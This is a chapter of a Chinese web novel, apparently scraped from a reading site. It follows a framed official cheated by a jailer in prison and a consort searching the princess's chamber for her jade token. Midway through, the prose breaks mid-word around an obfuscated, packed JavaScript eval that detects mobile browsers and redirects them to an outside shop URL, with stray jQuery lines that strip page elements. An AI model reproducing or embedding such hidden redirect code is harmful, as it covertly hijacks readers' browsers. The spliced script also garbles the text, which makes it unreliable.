64. 寻物

作品:《假公主她不演了

    然而就在何升伸出手的那刻,张启年拎着酒壶的手却拐了个弯。


    他为自己斟满一杯酒,随即又为何升倒上,从始至终那个酒壶就没有落到过何升手里。


    张启年笑了笑,继续道:“寻常酿酒不过是用了糯米,若是想再雅致一些,便会放茉莉。想要清甜可口,便放葡萄、青梅。”


    他不动声色地握住了酒壶的柄,微微侧身,压低声音继续道:“这醉仙楼的酒却不是这样简单,他们除了酿酒常备五谷外,还加了千金难买的龙脑香。”


    “龙脑香?”


    何升注意力果然被引开,他没再注意那酒壶,转而端起酒杯,细细打量其中的酒液。


    酒液澄澈,叫人看不出有何不同。


    然而待何升将酒杯拿近了轻嗅,便隐隐觉出些别样的滋味来。


    闻之有股说不出的辛香,带着微微的沁凉感。


    这龙脑香价高难寻,能入药。况且此等珍品,一般只有皇宫里会有。


    后半程,何升更是连酒壶都没有再碰过,身边围绕着都是三三两两的人,纷纷为他布菜斟酒,所以他自然也无从得知,今日宴请端上来的酒壶究竟有什么不同。


    ……


    牢狱内没有窗,看不出日夜。只有腐朽腥气,让何升好不容易压下的科技又有了复苏之态。


    他静静坐在稻草上,感觉总有股潮气在往身体里钻。


    何升蹙眉忍耐着,直到回忆完这段时间的宴请细节,才狠狠闭了闭眼。


    人不能太得意忘形,一但春风得意,便会忽略那些不同寻常之处。


    比如……张启年为何突然对他示好,又为何会频频出息他的宴请。


    之前他因陛下的另眼相待而振奋,被自己一时风头正盛所蒙蔽,才落得如今下场。


    是他!


    就是张启年!


    何升猝然睁眼,他来到门边,用力怕打着监牢的锁链:“我是冤枉的,我已经知道了何人想害我!我要见陛下——”


    他双眸赤红,全然没有了往日的体面。


    如此嚎了半刻钟,狱卒才好像听见了他的声音,提着鞭子慢悠悠走了过来,上下瞥了一眼,懒懒道:“吵什么?”


    说着虚空甩了一鞭,鞭子的破空声在牢狱中听起来分外瘆人


    他微抬着下巴,道:“爷不管你是哪个官儿,或有什么背景,既然蹲了大狱,到了这暗无天日的地界,就得爷守这儿的规矩!”


    何升暗暗咬牙,当真是虎落平阳被犬欺,什么人都能自称爷了。


    他理理衣襟,上下打量一眼狱卒,冷声道:“我乃当朝三品,陛下并未下旨意废我官职,我又有证据在手。今日若你能助我传话给陛下及家眷,他日出狱,我定寻人来找你,奖你擢升。”


    那人见他到了如此境地,还要拿派头,不由得想嗤笑一声,回怼过去。


    然而,他突然间想到了什么,于是眼睛一转,收敛笑意,眸中顷刻间带上几分意动,试探道:“你个老……你的话真的假的?真能让我升官发财?”


    何升眸中闪过冷意,为着这称呼不喜,却仍旧忍了忍,咬牙道:“这是自然,你不妨说说看,你叫什么?我这就传话给我家人,让他们为你送些吃食印信来。”


    那狱卒笑了笑,攥着鞭子挑眉笑道:“这好说,我叫王五条。”他拿着鞭子左右踱步,似乎想端起架子走两遍四方步,可惜却学不到精髓,倒像是个螃蟹。


    如此磨蹭了两个来回,实在钓足了何升胃口,才道:“不如你给我个信物吧,我去给你家人带话,好让他们替你伸冤。”


    何升垂眸思索片刻,从头顶摘下了发冠。


    他头发没有了发冠的束缚,一时间有些散乱,人似乎也少了几分精气神,可此时他也顾不得别的,又从身上取了块玉佩下来,两样东西并做一起,递给了狱卒。


    狱卒忙伸手接过,何升却紧紧攥着不放。


    他紧紧看着狱卒,道:“我身上没有其他的东西了,这发冠乃是上好的墨玉,今日赠与你,算是我的承诺。只是这玉佩不值钱,还要劳您带去何尚书府,”


    狱卒似乎没想到这官员如此识趣,挑了挑眉,一把拽了过来,收到了袖中:“说罢,你要带什么话?”


    何升眯起眼,一字一句道:“就说,沣儿,事情紧急,求见公主。”


    直接伸冤倒是可以,只是一个狱卒罢了,他自然是接触不到皇帝的,但是公主就不一样了。


    何云沣两日未见他归家,应当已知道了些风声。但他没有官职,如今也只有求见公主这一条路了。


    ……


    何升盘算的明白,只是让他没想到的是,狱卒收了东西,却并没去传话。


    而是将财务尽数变卖了。


    他们已得了暗示,这位大人的话都不用再去理会了。


    此乃后话,暂且不提。


    *


    傅文珏得知主殿此时闹哄哄的模样是正在找丢的饰物,并未犹豫,便抬腿往主殿而去。


    方泽见傅文珏要出门,他闲散的姿态维持不下去了。


    哪有主子帮忙,自己却闲着的道理,于是忙正了身子,两步跃下台阶,拍拍前胸,道:“殿下休息,这事让方泽来就行。”


    “站住。”傅文珏蹙起眉。


    方泽不明所以地顿住脚步,看向傅文珏的神情有些茫然:“殿下?”


    傅文珏蹙眉,道:“公主寝殿,岂可擅闯。”


    “滚回去。”


    方泽吃了一计眼刀,缩着脖子哦了一声,又回到廊下。


    这边说着公主寝殿不可擅闯,可傅文珏却没有犹豫,径直向着主殿而去。


    夜风微凉,傅文珏穿着玄色衣袍缓步前行。衣料单薄,风吹过来将衣袍拽紧,隐隐约约看到衣袍下的宽肩纤腰和他流畅的手臂肌肉。


    虽说训斥方泽的话信手拈来,他却好似不知自己这打扮算不上得体。


    不像去找东西,倒像是去侍寝的……


    傅文珏推门而入,无视了三两个翻找东西的侍女,径直向着何就内室而去。


    “哈……”何就打了个哈欠,揉了揉已经疲乏的双眼,对着春染道,“找不到就算了,反正也不起眼,再贵重也算不了什么。”


    春染却不赞同,她眸色凝重,道:“可这是陛下赏赐的,万一哪日陛下问起公主,可就麻烦了。”


    过些时日,便是皇帝的寿辰,穿戴也得是陛下御赐的才行。


    何就却不甚在意,她揉了揉酸痛的脖子,抱住锦绣枕头,百无聊赖地春染四处翻找。


    她对这样的说法不以为然。


    皇帝这样顶顶大的官,会管一只小小的金钗?


    她虽然不怎么了解皇帝,却也知道这种事大约是注意不到的。


    若是有天真要盘点她的赏赐之物,只会有两个可能——要么她已经没命了,要么就是要迁出宫单独住大宅子。


    那便更没什么必要了。


    何就觉得这些事有些小题大做,但还是耐着性子看春染她们忙碌。她斜靠在床榻边,懒懒道:“那便再找一炷香时间吧,若是还找不到,就这样算了。”


    “阿就在找什么?”


    傅文珏的声音透过内室的屏风传过来,何就哈欠打了一半,眼睛登时亮了。


    他怎么来了?


    傅文珏好像许久没有深夜到访过了,之前最晚也只是晚膳同饮罢了。大概是她们找东西的动静太大,惊动了他。


    何就这样想着,嘴却快得很,声音里带着欢快,道:“傅文珏,你快来。”


    傅文珏绕过屏风进到内室,入目便是被翻得凌乱的场景,以及卸了钗环的何就。


    何就看到他走过来,心中一喜,却依旧懒懒地靠在床榻边,上下打量了好几眼傅文珏的衣着。


    他今日这身衣袍看着……很显身材。


    何就咂咂嘴,毫不掩饰地将傅文珏从头看到脚,又盯着他的腰来看。


    傅文珏:……


    当真是越来越无耻。


    何就的眼神好像如有实质,将他浑身上下探了个遍。


    傅文珏压下心中恼意,面色温和道:“我本想来殿外邀你赏月,却见你们好像在找什么东西,需要我协助吗?我寻物一向有些经验。”


    “要要要!”何就将头点的飞快,眼睛亮晶晶的,手里紧紧攥着那绣枕。


    仿佛她要的不是他帮忙寻物,而是要的他这个人。


    傅文珏:……


    傅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333419|188037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    文珏转过身微微避开何就的视线,看向那雕花桌架,道:“阿就丢的是什么?今日又去了哪里?”


    春染见驸马来了,便停了手里的动作,避开二人,低头去了外间继续找。


    何就目光则追着傅文珏,看着他背影出神,声音也懒洋洋的:“一枚细小的金钗。不过我都禁足了,还能去哪里,我今日连院子都没去。”


    傅文珏垂下眼睫,伸手打开那些各式各样的木盒查看,却只见到一些细碎的金饰,手不由顿了顿,眸中闪过疑惑。


    坏了。


    何就看到他停留的位置,干笑一声,解释道:“哎呦,这些小东西就是不禁用,一碰就碎了,那金钗应当不在那里。”


    她喜欢金子,总得为将来做些筹谋,于是每日就爱捡些金饰拆拆补补,多拆几次就多漏点金碎出来,她细细捻了,然后缝在不起眼的地方,以备不时之需。


    傅文珏略停顿了片刻,便忽略了这堆东西。何就本身力气就大,弄坏了什么都不稀奇。


    他视线扫过这附近的桌子。


    干干净净,什么都没有……


    傅文珏眯起眼,看向各个角落。何就的公主玉令究竟放在哪里?


    昨日魏太医托人投了字条进来,告诉他已经找到了线索,过些时日便要带他要去一个地方,亲自见一见那个人。


    只是这地方一般进不去,需要他朝何就公主讨要属于公主的令牌。


    讨要?


    傅文珏面无表情地将信烧了。他自始至终没打算对谁讨什么东西。


    想要什么,就靠自己拿。


    他见过一两次公主玉令,知道长什么样子,今日这番动作,便是想找借口来取。


    讨要玉令实在可疑,他也想不到什么理由。所以,想要不打草惊蛇,倒不如直接“借走”。


    何就眼见着傅文珏四处寻找,她盯着他抬手露出的小臂线条,笑得眉眼弯弯。


    睡前见到驸马穿得单薄来殿中走上这样一段……当真惬意。


    可很快,她有些笑不出来了。


    傅文珏弯下腰,向着桌下的一个箱子伸去。


    “傅文珏!”何就忙出声制止,因为过于着急,声音险些变了调。


    却见傅文珏扭过脸看向她,眸中闪露出询问之意。


    何就这才发现自己的反应有些过度,于是清了清嗓子道:“我突然想起来了,应该不在那,我今天没去过那里。”


    傅文珏勾了勾唇,道:“哦?”


    他视线回到这个箱子,眼中意味深长,这里面有什么,竟让她如此紧张。


    他从顺如流地换了个方向继续寻找。


    何就松了口气,视线忙从那箱子处收了回来。


    只见傅文珏随手又开了两个匣子,依旧没有什么发现。


    他放下手,环顾四周。


    目前只有两个地方没有看过了——刚刚的箱子。


    以及……何就的床榻。


    傅文珏看向何就,勾起唇角,向她走了半步。


    何就:?


    随即,他一个转身,弯下腰一把拉开了箱子。


    何就瞳孔微颤:“不要——”


    她猛然从床榻上起身,一跃而起,伸手向傅文珏奔去。


    但她起的太猛,又冲地太急,一时不察,裙摆便被踩在了脚下。


    还未等何就有何反应,身体因着惯性,一个猛冲,径直到了他面前。


    她的手也跟着抓住了什么东西。


    抓住了,却没能停住身体。


    只听扑通一声,何就狠狠摔在地上。


    ……


    何就愣愣地倒在傅文珏腿边,看着手中的东西——那是一件玄色外袍。


    傅文珏猛然一僵,只觉得一阵凉意铺天盖地毫无阻隔地朝他身体罩过来。


    他缓缓低下头,与何就对视。


    何就因为吃痛而蹙起的眉头霎时间展开,取而代之的是她大睁的双眼。


    此时傅文珏一手掀开箱子,垂眸看向何就。


    他身上的衣袍已经被何就拽开,此时要掉不掉地挂在他臂弯处,露出精壮的胸膛和块垒分明的腹肌。


    何就视线往下,那润洁如玉的线条渐渐隐没在腰间。